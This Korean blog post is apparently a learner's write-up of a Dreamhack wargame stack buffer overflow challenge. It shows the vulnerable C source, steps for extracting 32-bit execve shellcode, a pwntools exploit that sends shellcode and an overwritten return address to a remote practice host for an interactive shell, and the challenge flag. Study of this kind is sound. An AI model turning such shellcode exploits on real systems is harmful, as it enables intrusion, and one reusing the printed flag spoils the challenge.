문제 분석

buf = ( 뒤에 랜덤한 주소가 출력되고 AAAAA를 입력하면 아무런 동작을 하지 않는다. 따라서 AAAA를 엄청나게 많이 입력해보았더니 Segmentation fault 에러가 뜨는 것을 확인할 수 있다.
basic_exploitation_000.c 파일 확인
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
printf("buf = (%p)\n", buf);
scanf("%141s", buf);
return 0;
}
basic_exploitation_000.c 코드를 확인해보면 scanf에서 최대 141 바이트만큼 입력을 받고 있는 것을 알 수 있다.
core 파일 확인
gdb로 core 파일을 확인해보면

이렇게 esp에 우리가 입력했던 값의 일부인 AAAAA가 저장되어 있는 것을 확인할 수 있고, 0x414141로 반환 주소를 덮어쓴걸 확인할 수 있었다. 따라서 bof가 발생하였다고 추측할 수 있다.
shellcode 작성
해당 문제에서 bof를 발생시키고 셸코드를 얻어야 하기 때문에 execve 셸코드를 작성해야한다. 이를 통해 shellcode를 추출하여 익스플로잇을 진행할 예정이다.

위와 같이 어셈블리 코드를 작성하고 아래의 명령어를 입력해주면 shellcode.bin 파일이 생성된다.
$nasm -f elf shellcode.asm
$objdump -d shellcode.o
$objcopy --dump-section .text=shellcode.bin shellcode.o

shellcode.bin을 xxd로 확인하면 위와 같이 셸코드를 추출할 수 있다.
위의 xxd 결과에서 byte 값들을 추출하면
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80"를 획득 할 수 있다.
익스플로잇
스택 프레임 구조 파악
gdb로 basic_exploitation_000를 분석해보면

buf는 ebp - 0x80에 위치해 있고 sfp는 ebp에 위치해 있다. 그리고 ret address는 ebp + 0x04에 위치해 있다. 따라서 buf와 ret address는 0x84만큼 떨어져 있다.
익스플로잇 코드
from pwn import*
context.log_level='debug'
p=remote('host1.dreamhack.games',16139)
p.recvuntil(b'buf = (')
ret = int(p.recv(10), 16)
shell=b'\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80'
payload = shell
payload += b'A' * (0x84 - len(shell))
payload += p32(ret)
p.sendline(payload)
p.interactive()
처음엔 shell을 뒤에다가 넣었는데 이후에 shell을 앞에다가 넣어보니 정상적으로 셸을 획득했다. 이유는 모르겠다.

flag : DH{465dd453b2a25a26a847a93d3695676d}
'CTF & Wargame(PWNABLE)' 카테고리의 다른 글
| [dreamhack] level 2 ssp_001 (0) | 2025.04.03 |
|---|---|
| [dreamhack] level 2 Return to Shellcode (0) | 2025.04.02 |
| [dreamhack] level 1 basic_exploitation_001 (0) | 2025.04.01 |
| [dreamhack] Return Address Overwrite (0) | 2025.04.01 |
| [dreamhack] Beginner shell_basic (0) | 2025.03.27 |